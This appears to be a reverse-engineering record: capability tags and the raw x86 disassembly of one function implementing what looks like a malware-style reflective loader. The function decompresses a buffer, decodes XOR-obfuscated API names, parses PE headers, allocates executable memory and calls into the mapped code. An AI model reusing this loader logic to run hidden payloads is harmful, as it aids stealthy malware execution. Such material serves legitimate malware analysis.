Function at 0x10001040
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x9c
mov edi, dword [ebp + 8]
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x10003c70
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
mov esi, dword [edi + 8]
bswap esi
push esi
call fcn.10008500
add esp, 4
mov dword [ebp - 0x3c], eax
mov eax, dword [edi]
bswap eax
cmp eax, 0x57bc0000
jne 0x1000109f
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
bswap eax
test eax, eax
je 0x10001182
mov ecx, dword [ebp - 0x3c]
movzx eax, word [ecx]
cmp eax, 0x5a4d
jne 0x10001cb9
mov eax, dword [ecx + 0x3c]
cmp dword [ecx + eax], 0x4550
jne 0x10001cb9
add ecx, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x90], 0
movaps xmm0, xmmword [0x100542e0]
movups xmmword [ebp - 0xa7], xmm0
mov word [ebp - 0x97], 0x9bab
mov byte [ebp - 0x95], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov al, 0x8f
lea edi, [ebp - 0xa6]
lea ecx, [ebp - 0x6c]
jmp 0x10001120
mov byte [esi + ebx], al
mov byte [esi + ebx + 1], 0
movzx eax, byte [edi]
inc edi
test al, al
je 0x10001170
xor al, 0xcc
mov ebx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
cmp ebx, edx
jae 0x10001140
lea esi, [ebx + 1]
mov dword [ebp - 0x5c], esi
mov esi, ecx
cmp edx, 0x10
jb 0x10001110
mov esi, dword [ebp - 0x6c]
jmp 0x10001110
mov dword [ebp - 0x10], 0x11
sub esp, 0xc
movzx edx, byte [ebp - 0x54]
mov byte [esp + 4], dl
movsx eax, al
mov dword [esp + 8], eax
mov dword [esp], 1
mov dword [ebp - 0x28], edi
call fcn.10003b10
lea ecx, [ebp - 0x6c]
mov edi, dword [ebp - 0x28]
jmp 0x10001118
cmp dword [ebp - 0x58], 0x10
jb 0x10001b45
mov eax, dword [ebp - 0x6c]
jmp 0x10001b48
mov ecx, dword [ebp + 8]
mov dword [0x1005b988], ecx
mov eax, dword [ebp - 0x3c]
lea edx, [eax + esi]
mov dword [ebp - 0x28], edx
mov dword [0x1005b98c], edx
mov dword [0x1005b990], eax
lea edx, [ecx + 0x10]
mov dword [0x1005b994], eax
lea ecx, [eax + esi]
inc ecx
mov esi, edx
mov dword [ebp - 0x2c], ecx
jmp 0x100011d8
mov dword [0x1005b994], edi
add esi, 4
mov edx, esi
mov eax, edi
mov esi, edx
cmp edi, dword [ebp - 0x28]
ja 0x1000109f
movzx ecx, byte [esi]
cmp ecx, 0x20
jb 0x10001250
test cl, cl
js 0x1000136b
cmp cl, 0x40
jb 0x100013ac
movzx edx, byte [esi + 2]
mov dword [ebp - 0x20], edx
lea edi, [eax + edx]
inc edi
cmp edi, dword [ebp - 0x28]
ja 0x100018a2
shl ecx, 8
movzx edx, byte [esi + 1]
mov dword [ebp - 0x30], edx
add edx, ecx
mov ebx, 0x3fff
sub ebx, edx
lea edx, [eax + ebx]
mov edi, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x3c]
jb 0x100018a2
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x24], esi
mov esi, dword [ebp - 0x20]
mov ebx, esi
mov byte [ebp - 0x34], bl
inc esi
cmp byte [ebp - 0x34], 0xf
jae 0x10001609
mov ecx, esi
mov edi, eax
jmp 0x1000180e
cmp cl, 0x18
jb 0x100012c0
movzx ebx, byte [esi + 3]
lea edi, [eax + ebx]
inc edi
cmp edi, dword [ebp - 0x28]
ja 0x100011c0
shl ecx, 0x10
movzx edx, byte [esi + 1]
shl edx, 8
movzx edi, byte [esi + 2]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x30], edi
lea ebx, [ecx + edi]
mov dword [ebp - 0x34], edx
or ebx, edx
mov edx, eax
sub edx, ebx
mov ebx, dword [ebp - 0x20]
add edx, 0x17ffff
mov edi, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x3c]
jb 0x100011c0
mov edi, ecx
mov dword [ebp - 0x24], esi
mov ecx, ebx
mov byte [ebp - 0x38], bl
inc ebx
cmp byte [ebp - 0x38], 0xf
jae 0x100014c6
mov edi, eax
jmp 0x1000166e
cmp cl, 0x10
jb 0x100013c3
movzx edx, word [esi + 3]
rol dx, 8
movzx edx, dx
lea edi, [eax + edx]
inc edi
cmp edi, dword [ebp - 0x28]
ja 0x10001aef
shl ecx, 0x10
mov dword [ebp - 0x20], edx
movzx ebx, byte [esi + 1]
shl ebx, 8
movzx edx, byte [esi + 2]
mov dword [ebp - 0x30], edx
lea edi, [ecx + edx]
mov dword [ebp - 0x34], ebx
or edi, ebx
mov ebx, dword [ebp - 0x20]
mov edx, eax
sub edx, edi
add edx, 0xfffff
mov edi, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x3c]
jb 0x10001aef
mov dword [ebp - 0x24], esi
lea edi, [ebx + 1]
cmp ebx, 0xf
jb 0x1000133a
mov esi, dword [ebp - 0x34]
add esi, ecx
mov ebx, dword [ebp - 0x30]
add esi, ebx
add esi, 0xfff00001
cmp esi, 0x10
jae 0x10001914
mov ebx, edi
mov edi, eax
mov eax, ebx
and eax, 7
je 0x10001769
mov esi, ebx
xor ecx, ecx
nop dword [eax]
movzx ebx, byte [edx + ecx]
mov byte [edi + ecx], bl
inc ecx
cmp eax, ecx
jne 0x10001350
add edx, ecx
mov ebx, esi
mov eax, esi
sub eax, ecx
add edi, ecx
jmp 0x1000176b
mov dword [ebp - 0x24], esi
lea ebx, [eax + ecx]
add ebx, 0xffffff81
cmp ebx, dword [ebp - 0x28]
ja 0x10001397
mov edx, dword [ebp - 0x24]
movzx edx, byte [edx + 1]
mov byte [ebp - 0x20], dl
movzx edi, dl
not edi
lea edx, [edi + eax]
mov ebx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x3c]
jae 0x10001453
mov dword [0x1005b994], ebx
mov eax, ebx
mov edx, dword [ebp - 0x24]
add edx, 2
mov edi, eax
jmp 0x100011cb
lea edi, [eax + ecx]
add edi, 0xffffffe1
mov ebx, 0xffffffe2
cmp edi, dword [ebp - 0x28]
jbe 0x100013ee
mov edx, ecx
jmp 0x10001980
cmp cl, 8
jb 0x10001404
shl ecx, 8
movzx ebx, byte [esi + 1]
lea edx, [ecx + ebx]
lea edi, [eax + edx]
add edi, 0xfffff801
cmp edi, dword [ebp - 0x28]
jbe 0x100014ed
mov ebx, 0xfffff803
jmp 0x10001980
lea edx, [esi + 1]
cmp edx, dword [ebp + 8]
jae 0x100014b0
mov edi, dword [ebp - 0x2c]
mov edx, ecx
jmp 0x10001980
cmp cl, 4
je 0x1000156c
movzx ecx, cl
cmp ecx, 6
je 0x1000150f
cmp ecx, 7
jne 0x1000109f
movzx ecx, word [esi + 1]
rol cx, 8
movzx edx, cx
lea edi, [eax + edx]
inc edi
mov ebx, 4
cmp edi, dword [ebp - 0x28]
ja 0x10001980
lea ecx, [esi + 3]
cmp ecx, dword [ebp + 8]
jae 0x10001963
mov edi, dword [ebp - 0x2c]
jmp 0x10001980
add ecx, 0xffffff81
je 0x1000139f
cmp ecx, 0x10
jb 0x10001733
cmp byte [ebp - 0x20], 0xf
jb 0x10001733
mov ebx, ecx
and ebx, 0xf0
add edx, ebx
mov esi, ecx
and esi, 0xf
mov dword [ebp - 0x20], esi
mov esi, ebx
add ebx, eax
mov dword [ebp - 0x30], esi
nop dword [eax + eax]
movups xmm0, xmmword [eax + edi]
movups xmmword [eax], xmm0
add eax, 0x10
add esi, 0xfffffff0
jne 0x10001490
cmp ecx, dword [ebp - 0x30]
mov edi, dword [ebp - 0x20]
je 0x10001397
jmp 0x10001737
add ecx, 0xffffffe1
push ecx
push edx
push eax
call fcn.10006950
add esp, 0xc
movzx edx, byte [esi]
jmp 0x10001980
mov dword [ebp - 0x20], ebx
mov ecx, dword [ebp - 0x34]
lea ebx, [edi + ecx]
mov esi, dword [ebp - 0x30]
add ebx, esi
add ebx, 0xffe80001
cmp ebx, 0x10
jae 0x1000162a
mov ebx, dword [ebp - 0x20]
mov edi, eax
jmp 0x1000166e
mov dword [ebp - 0x20], ebx
lea ebx, [esi + 2]
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
cmp ebx, dword [ebp + 8]
jae 0x10001707
mov edi, dword [ebp - 0x2c]
mov ebx, 0xfffff803
jmp 0x10001980
movzx ecx, byte [esi + 4]
mov dword [ebp - 0x20], ecx
lea edi, [eax + ecx]
inc edi
cmp edi, dword [ebp - 0x28]
ja 0x10001aef
movzx edx, byte [esi + 1]
shl edx, 0x10
movzx edi, byte [esi + 2]
shl edi, 8
movzx ebx, byte [esi + 3]
lea ecx, [edx + ebx]
mov dword [ebp - 0x30], edi
or ecx, edi
not ecx
add ecx, eax
mov edi, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x3c]
jb 0x10001aef
mov dword [ebp - 0x38], edx
mov edi, dword [ebp - 0x20]
mov edx, edi
mov byte [ebp - 0x24], dl
inc edi
cmp byte [ebp - 0x24], 0xf
jae 0x10001997
mov ebx, edi
mov edi, eax
jmp 0x10001a61
movzx ecx, word [esi + 4]
rol cx, 8
movzx ebx, cx
lea edi, [eax + ebx]
inc edi
cmp edi, dword [ebp - 0x28]
mov edx, esi
ja 0x10001b37
movzx ecx, byte [edx + 1]
shl ecx, 0x10
movzx edi, byte [edx + 2]
shl edi, 8
movzx esi, byte [edx + 3]
mov dword [ebp - 0x30], ecx
add ecx, esi
mov dword [ebp - 0x20], edi
or ecx, edi
not ecx
add ecx, eax
mov edi, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x3c]
jb 0x10001b37
mov dword [ebp - 0x24], edx
lea edi, [ebx + 1]
cmp ebx, 0xf
jb 0x100015d1
mov ebx, dword [ebp - 0x30]
mov edx, ebx
or edx, dword [ebp - 0x20]
add edx, esi
inc edx
cmp edx, 0x10
jae 0x10001afd
mov esi, edi
mov edi, eax
mov eax, esi
and eax, 7
je 0x100019bc
xor edx, edx
nop word cs:[eax + eax]
movzx ebx, byte [ecx + edx]
mov byte [edi + edx], bl
inc edx
cmp eax, edx
jne 0x100015f0
add ecx, edx
mov eax, esi
sub eax, edx
add edi, edx
jmp 0x100019be
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x30]
add ecx, esi
add ecx, 0xffffc001
cmp ecx, 0x10
jae 0x100017d7
mov ecx, dword [ebp - 0x20]
mov edi, eax
jmp 0x1000180e
mov ebx, dword [ebp - 0x20]
and ebx, 0xfffffff0
mov dword [ebp - 0x38], ebx
add edx, ebx
mov ebx, dword [ebp - 0x20]
and ebx, 0xf
add esi, ecx
mov ecx, edi
mov edi, dword [ebp - 0x38]
add edi, eax
xor esi, 0x17ffff
sub esi, ecx
mov ecx, dword [ebp - 0x38]
nop
movups xmm0, xmmword [eax + esi]
movups xmmword [eax], xmm0
add eax, 0x10
add ecx, 0xfffffff0
jne 0x10001650
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x24]
je 0x100011c0
mov eax, ebx
and eax, 7
je 0x10001698
mov esi, ebx
xor ecx, ecx
nop dword [eax]
movzx ebx, byte [edx + ecx]
mov byte [edi + ecx], bl
inc ecx
cmp eax, ecx
jne 0x10001680
add edx, ecx
mov ebx, esi
mov eax, esi
sub eax, ecx
add edi, ecx
jmp 0x1000169a
mov eax, ebx
dec ebx
cmp ebx, 7
mov esi, dword [ebp - 0x24]
jb 0x100011c0
xor ecx, ecx
nop dword [eax]
movzx ebx, byte [edx + ecx]
mov byte [edi + ecx], bl
movzx ebx, byte [edx + ecx + 1]
mov byte [edi + ecx + 1], bl
movzx ebx, byte [edx + ecx + 2]
mov byte [edi + ecx + 2], bl
movzx ebx, byte [edx + ecx + 3]
mov byte [edi + ecx + 3], bl
movzx ebx, byte [edx + ecx + 4]
mov byte [edi + ecx + 4], bl
movzx ebx, byte [edx + ecx + 5]
mov byte [edi + ecx + 5], bl
movzx ebx, byte [edx + ecx + 6]
mov byte [edi + ecx + 6], bl
movzx ebx, byte [edx + ecx + 7]
mov byte [edi + ecx + 7], bl
add ecx, 8
cmp eax, ecx
jne 0x100016b0
add edi, ecx
mov esi, dword [ebp - 0x24]
jmp 0x100011c0
mov edx, dword [ebp - 0x20]
add ecx, edx
add ecx, 0xfffff801
push ecx
push dword [ebp - 0x24]
push eax
call fcn.10006950
add esp, 0xc
movzx eax, word [esi]
rol ax, 8
movzx edx, ax
mov ebx, 0xfffff803
jmp 0x10001980
mov edi, ecx
mov ebx, eax
mov esi, edi
and esi, 7
je 0x100018b0
xor ecx, ecx
nop word cs:[eax + eax]
movzx eax, byte [edx + ecx]
mov byte [ebx + ecx], al
inc ecx
cmp esi, ecx
jne 0x10001750
add edx, ecx
mov esi, edi
sub esi, ecx
add ebx, ecx
jmp 0x100018b2
mov eax, ebx
dec ebx
cmp ebx, 7
mov esi, dword [ebp - 0x24]
jb 0x10001aef
xor ecx, ecx
nop word [eax + eax]
movzx ebx, byte [edx + ecx]
mov byte [edi + ecx], bl
movzx ebx, byte [edx + ecx + 1]
mov byte [edi + ecx + 1], bl
movzx ebx, byte [edx + ecx + 2]
mov byte [edi + ecx + 2], bl
movzx ebx, byte [edx + ecx + 3]
mov byte [edi + ecx + 3], bl
movzx ebx, byte [edx + ecx + 4]
mov byte [edi + ecx + 4], bl
movzx ebx, byte [edx + ecx + 5]
mov byte [edi + ecx + 5], bl
movzx ebx, byte [edx + ecx + 6]
mov byte [edi + ecx + 6], bl
movzx ebx, byte [edx + ecx + 7]
mov byte [edi + ecx + 7], bl
add ecx, 8
cmp eax, ecx
jne 0x10001780
add edi, ecx
mov esi, dword [ebp - 0x24]
jmp 0x10001aef
mov ecx, dword [ebp - 0x20]
mov esi, ecx
and esi, 0xfffffff0
add edx, esi
and ecx, 0xf
lea edi, [eax + esi]
mov dword [ebp - 0x30], esi
mov ebx, dword [ebp - 0x38]
nop dword [eax]
movups xmm0, xmmword [eax + ebx]
movups xmmword [eax], xmm0
add eax, 0x10
add esi, 0xfffffff0
jne 0x100017f0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x24]
je 0x100018a2
mov eax, ecx
and eax, 7
je 0x10001836
mov ebx, ecx
xor esi, esi
nop dword [eax]
movzx ecx, byte [edx + esi]
mov byte [edi + esi], cl
inc esi
cmp eax, esi
jne 0x10001820
add edx, esi
mov ecx, ebx
sub ebx, esi
add edi, esi
jmp 0x10001838
mov ebx, ecx
dec ecx
cmp ecx, 7
mov esi, dword [ebp - 0x24]
jb 0x100018a2
xor ecx, ecx
nop word cs:[eax + eax]
movzx eax, byte [edx + ecx]
mov byte [edi + ecx], al
movzx eax, byte [edx + ecx + 1]
mov byte [edi + ecx + 1], al
movzx eax, byte [edx + ecx + 2]
mov byte [edi + ecx + 2], al
movzx eax, byte [edx + ecx + 3]
mov byte [edi + ecx + 3], al
movzx eax, byte [edx + ecx + 4]
mov byte [edi + ecx + 4], al
movzx eax, byte [edx + ecx + 5]
mov byte [edi + ecx + 5], al
movzx eax, byte [edx + ecx + 6]
mov byte [edi + ecx + 6], al
movzx eax, byte [edx + ecx + 7]
mov byte [edi + ecx + 7], al
add ecx, 8
cmp ebx, ecx
jne 0x10001850
add edi, ecx
mov esi, dword [ebp - 0x24]
mov dword [0x1005b994], edi
add esi, 3
jmp 0x100011c9
mov esi, edi
dec edi
cmp edi, 7
jb 0x10001397
xor ecx, ecx
nop
movzx eax, byte [edx + ecx]
mov byte [ebx + ecx], al
movzx eax, byte [edx + ecx + 1]
mov byte [ebx + ecx + 1], al
movzx eax, byte [edx + ecx + 2]
mov byte [ebx + ecx + 2], al
movzx eax, byte [edx + ecx + 3]
mov byte [ebx + ecx + 3], al
movzx eax, byte [edx + ecx + 4]
mov byte [ebx + ecx + 4], al
movzx eax, byte [edx + ecx + 5]
mov byte [ebx + ecx + 5], al
movzx eax, byte [edx + ecx + 6]
mov byte [ebx + ecx + 6], al
movzx eax, byte [edx + ecx + 7]
mov byte [ebx + ecx + 7], al
add ecx, 8
cmp esi, ecx
jne 0x100018c0
add ebx, ecx
jmp 0x10001397
mov esi, edi
and esi, 0xfffffff0
mov dword [ebp - 0x20], esi
add edx, esi
mov dword [ebp - 0x38], edi
mov ebx, edi
and ebx, 0xf
mov esi, dword [ebp - 0x30]
add esi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x20]
add edi, eax
xor esi, 0xfffff
sub esi, ecx
mov ecx, dword [ebp - 0x20]
nop dword [eax]
movups xmm0, xmmword [eax + esi]
movups xmmword [eax], xmm0
add eax, 0x10
add ecx, 0xfffffff0
jne 0x10001940
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x38], eax
mov esi, dword [ebp - 0x24]
jne 0x1000133e
jmp 0x10001aef
inc edx
push edx
push ecx
push eax
call fcn.10006950
add esp, 0xc
movzx eax, word [esi + 1]
rol ax, 8
movzx edx, ax
nop word [eax + eax]
add edx, ebx
mov dword [0x1005b994], edi
add edx, esi
cmp edx, esi
jne 0x100011cb
jmp 0x1000109f
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], esi
mov edx, dword [ebp - 0x38]
mov esi, edx
mov edi, dword [ebp - 0x30]
or esi, edi
add esi, ebx
inc esi
cmp esi, 0x10
jae 0x10001a27
mov ebx, dword [ebp - 0x20]
mov edi, eax
mov esi, dword [ebp - 0x24]
jmp 0x10001a61
mov eax, esi
dec esi
cmp esi, 7
mov edx, dword [ebp - 0x24]
jb 0x10001b37
xor edx, edx
nop dword [eax]
movzx ebx, byte [ecx + edx]
mov byte [edi + edx], bl
movzx ebx, byte [ecx + edx + 1]
mov byte [edi + edx + 1], bl
movzx ebx, byte [ecx + edx + 2]
mov byte [edi + edx + 2], bl
movzx ebx, byte [ecx + edx + 3]
mov byte [edi + edx + 3], bl
movzx ebx, byte [ecx + edx + 4]
mov byte [edi + edx + 4], bl
movzx ebx, byte [ecx + edx + 5]
mov byte [edi + edx + 5], bl
movzx ebx, byte [ecx + edx + 6]
mov byte [edi + edx + 6], bl
movzx ebx, byte [ecx + edx + 7]
mov byte [edi + edx + 7], bl
add edx, 8
cmp eax, edx
jne 0x100019d0
add edi, edx
mov edx, dword [ebp - 0x24]
jmp 0x10001b37
mov edi, dword [ebp - 0x20]
mov esi, edi
and esi, 0xfffffff0
add ecx, esi
and edi, 0xf
mov dword [ebp - 0x34], edi
add ebx, dword [ebp - 0x30]
lea edi, [eax + esi]
not ebx
sub ebx, edx
mov edx, esi
movups xmm0, xmmword [eax + ebx]
movups xmmword [eax], xmm0
add eax, 0x10
add edx, 0xfffffff0
jne 0x10001a43
cmp dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x34]
je 0x10001aef
mov eax, ebx
and eax, 7
je 0x10001a89
mov dword [ebp - 0x34], ebx
xor edx, edx
nop dword [eax]
movzx ebx, byte [ecx + edx]
mov byte [edi + edx], bl
inc edx
cmp eax, edx
jne 0x10001a70
add ecx, edx
mov ebx, dword [ebp - 0x34]
mov eax, ebx
sub eax, edx
add edi, edx
jmp 0x10001a8b
mov eax, ebx
dec ebx
cmp ebx, 7
jb 0x10001aef
xor edx, edx
nop word cs:[eax + eax]
movzx ebx, byte [ecx + edx]
mov byte [edi + edx], bl
movzx ebx, byte [ecx + edx + 1]
mov byte [edi + edx + 1], bl
movzx ebx, byte [ecx + edx + 2]
mov byte [edi + edx + 2], bl
movzx ebx, byte [ecx + edx + 3]
mov byte [edi + edx + 3], bl
movzx ebx, byte [ecx + edx + 4]
mov byte [edi + edx + 4], bl
movzx ebx, byte [ecx + edx + 5]
mov byte [edi + edx + 5], bl
movzx ebx, byte [ecx + edx + 6]
mov byte [edi + edx + 6], bl
movzx ebx, byte [ecx + edx + 7]
mov byte [edi + edx + 7], bl
add edx, 8
cmp eax, edx
jne 0x10001aa0
add edi, edx
mov dword [0x1005b994], edi
add esi, 5
jmp 0x100011c9
mov edx, edi
and edx, 0xfffffff0
add ecx, edx
mov dword [ebp - 0x34], edi
and edi, 0xf
mov dword [ebp - 0x38], edi
add esi, dword [ebp - 0x20]
lea edi, [eax + edx]
not esi
sub esi, ebx
mov ebx, edx
movups xmm0, xmmword [eax + esi]
movups xmmword [eax], xmm0
add eax, 0x10
add edx, 0xfffffff0
jne 0x10001b19
cmp dword [ebp - 0x34], ebx
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x38]
jne 0x100015d5
mov dword [0x1005b994], edi
add edx, 6
jmp 0x100011cb
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x2c], eax
movsd xmm0, qword [0x100542f0]
movsd qword [ebp - 0x81], xmm0
mov dword [ebp - 0x79], 0xa0a0a8e2
mov byte [ebp - 0x75], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov al, 0xa7
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x54]
jmp 0x10001ba0
mov byte [esi + ebx], al
mov byte [esi + ebx + 1], 0
movzx eax, byte [edi]
inc edi
test al, al
je 0x10001bf0
xor al, 0xcc
mov ebx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
cmp ebx, edx
jae 0x10001bc0
lea esi, [ebx + 1]
mov dword [ebp - 0x44], esi
mov esi, ecx
cmp edx, 0x10
jb 0x10001b90
mov esi, dword [ebp - 0x54]
jmp 0x10001b90
mov dword [ebp - 0x10], 0x10
sub esp, 0xc
movzx edx, byte [ebp - 0x74]
mov byte [esp + 4], dl
movsx eax, al
mov dword [esp + 8], eax
mov dword [esp], 1
mov dword [ebp - 0x28], edi
call fcn.10003b10
lea ecx, [ebp - 0x54]
mov edi, dword [ebp - 0x28]
jmp 0x10001b98
cmp dword [ebp - 0x40], 0x10
jb 0x10001bfb
mov eax, dword [ebp - 0x54]
jmp 0x10001bfe
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x90]
push dword [ebp - 0x2c]
push eax
call fcn.10002940
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 0x50]
mov dword [ebp - 0x10], 0xf
sub esp, 0x18
mov dword [esp + 0x10], ecx
movaps xmm0, xmmword [0x10054300]
movups xmmword [esp], xmm0
mov dword [esp + 0x14], 0
call eax
mov edi, dword [ebp - 0x40]
cmp edi, 0x10
jb 0x10001c72
mov ebx, eax
mov ecx, dword [ebp - 0x54]
lea esi, [edi + 1]
cmp esi, 0x1000
jb 0x10001c66
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10002658
add edi, 0x24
mov esi, edi
mov ecx, edx
push esi
push ecx
call fcn.10003cdf
add esp, 8
mov eax, ebx
mov edi, dword [ebp - 0x58]
cmp edi, 0x10
jb 0x10001cae
mov ebx, eax
mov ecx, dword [ebp - 0x6c]
lea esi, [edi + 1]
cmp esi, 0x1000
jb 0x10001ca2
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10002658
add edi, 0x24
mov esi, edi
mov ecx, edx
push esi
push ecx
call fcn.10003cdf
add esp, 8
mov eax, ebx
lea ecx, [eax + 1]
cmp ecx, 2
mov ecx, dword [ebp - 0x3c]
jae 0x10001cda
xor ebx, ebx
push ecx
call fcn.100084f0
add esp, 4
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, ebx
add esp, 0x9c
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x90], 0
movsd xmm0, qword [0x10054310]
movsd qword [ebp - 0xa7], xmm0
mov dword [ebp - 0x9f], 0xa0a58aaa
mov word [ebp - 0x9b], 0xa9
xorps xmm0, xmm0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov al, 0x81
lea edi, [ebp - 0xa6]
lea ecx, [ebp - 0x6c]
jmp 0x10001d40
mov byte [esi + ebx], al
mov byte [esi + ebx + 1], 0
movzx eax, byte [edi]
inc edi
test al, al
je 0x10001d90
xor al, 0xcc
mov ebx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
cmp ebx, edx
jae 0x10001d60
lea esi, [ebx + 1]
mov dword [ebp - 0x5c], esi
mov esi, ecx
cmp edx, 0x10
jb 0x10001d30
mov esi, dword [ebp - 0x6c]
jmp 0x10001d30
mov dword [ebp - 0x10], 0xd
sub esp, 0xc
movzx edx, byte [ebp - 0x54]
mov byte [esp + 4], dl
movsx eax, al
mov dword [esp + 8], eax
mov dword [esp], 1
mov dword [ebp - 0x28], edi
call fcn.10003b10
lea ecx, [ebp - 0x6c]
mov edi, dword [ebp - 0x28]
jmp 0x10001d38
cmp dword [ebp - 0x58], 0x10
jb 0x10001d9b
mov eax, dword [ebp - 0x6c]
jmp 0x10001d9e
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x2c], eax
movsd xmm0, qword [0x100542f0]
movsd qword [ebp - 0x81], xmm0
mov dword [ebp - 0x79], 0xa0a0a8e2
mov byte [ebp - 0x75], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov al, 0xa7
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x54]
jmp 0x10001df0
mov byte [esi + ebx], al
mov byte [esi + ebx + 1], 0
movzx eax, byte [edi]
inc edi
test al, al
je 0x10001e40
xor al, 0xcc
mov ebx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
cmp ebx, edx
jae 0x10001e10
lea esi, [ebx + 1]
mov dword [ebp - 0x44], esi
mov esi, ecx
cmp edx, 0x10
jb 0x10001de0
mov esi, dword [ebp - 0x54]
jmp 0x10001de0
mov dword [ebp - 0x10], 0xc
sub esp, 0xc
movzx edx, byte [ebp - 0x74]
mov byte [esp + 4], dl
movsx eax, al
mov dword [esp + 8], eax
mov dword [esp], 1
mov dword [ebp - 0x28], edi
call fcn.10003b10
lea ecx, [ebp - 0x54]
mov edi, dword [ebp - 0x28]
jmp 0x10001de8
cmp dword [ebp - 0x40], 0x10
jb 0x10001e4b
mov eax, dword [ebp - 0x54]
jmp 0x10001e4e
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x90]
push dword [ebp - 0x2c]
push eax
call fcn.10002940
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 0x50]
mov dword [ebp - 0x10], 0xb
push ecx
push 0
push 0
push 2
push dword [ebp - 0x20]
call eax
mov edi, dword [ebp - 0x40]
cmp edi, 0x10
mov dword [ebp - 0x2c], eax
jb 0x10001eb4
mov ecx, dword [ebp - 0x54]
lea esi, [edi + 1]
cmp esi, 0x1000
jb 0x10001ea7
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10002658
add edi, 0x24
mov esi, edi
mov ecx, edx
push esi
push ecx
call fcn.10003cdf
add esp, 8
mov eax, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x58]
cmp edi, 0x10
jb 0x10001eef
mov ecx, dword [ebp - 0x6c]
lea esi, [edi + 1]
cmp esi, 0x1000
jb 0x10001ee2
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10002658
add edi, 0x24
mov esi, edi
mov ecx, edx
push esi
push ecx
call fcn.10003cdf
add esp, 8
mov eax, dword [ebp - 0x2c]
test eax, eax
mov ebx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x24]
je 0x10001fad
push dword [ecx + 0x54]
push ebx
push eax
mov ebx, eax
call fcn.10006950
mov ecx, dword [ebp - 0x24]
add esp, 0xc
cmp word [ecx + 6], 0
je 0x10001f56
movzx eax, word [ecx + 0x14]
lea esi, [ecx + eax]
add esi, 0x18
add esi, 0x14
xor edi, edi
nop word cs:[eax + eax]
mov eax, dword [esi - 8]
add eax, ebx
mov ecx, dword [esi]
add ecx, dword [ebp - 0x3c]
push dword [esi - 4]
push ecx
push eax
call fcn.10006950
mov ecx, dword [ebp - 0x24]
add esp, 0xc
inc edi
movzx eax, word [ecx + 6]
add esi, 0x28
cmp edi, eax
jb 0x10001f30
mov eax, dword [ecx + 0x50]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
test eax, eax
je 0x10001fbe
js 0x1000265d
mov dword [ebp - 0x10], 0
cmp eax, 0x1000
mov dword [ebp - 0x28], eax
jb 0x10001fc9
add eax, 0x23
push eax
call fcn.10003caa
add esp, 4
mov ecx, eax
add ecx, 0x23
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, ecx
jmp 0x10001fd2
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x3c]
jmp 0x10001cb9
mov dword [ebp - 0x24], 0
xor esi, esi
jmp 0x10001ffb
push eax
call fcn.10003caa
add esp, 4
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x90], eax
mov edx, dword [ebp - 0x28]
lea esi, [eax + edx]
mov dword [ebp - 0x88], esi
push edx
push ecx
mov dword [ebp - 0x24], eax
push eax
call fcn.10006950
add esp, 0xc
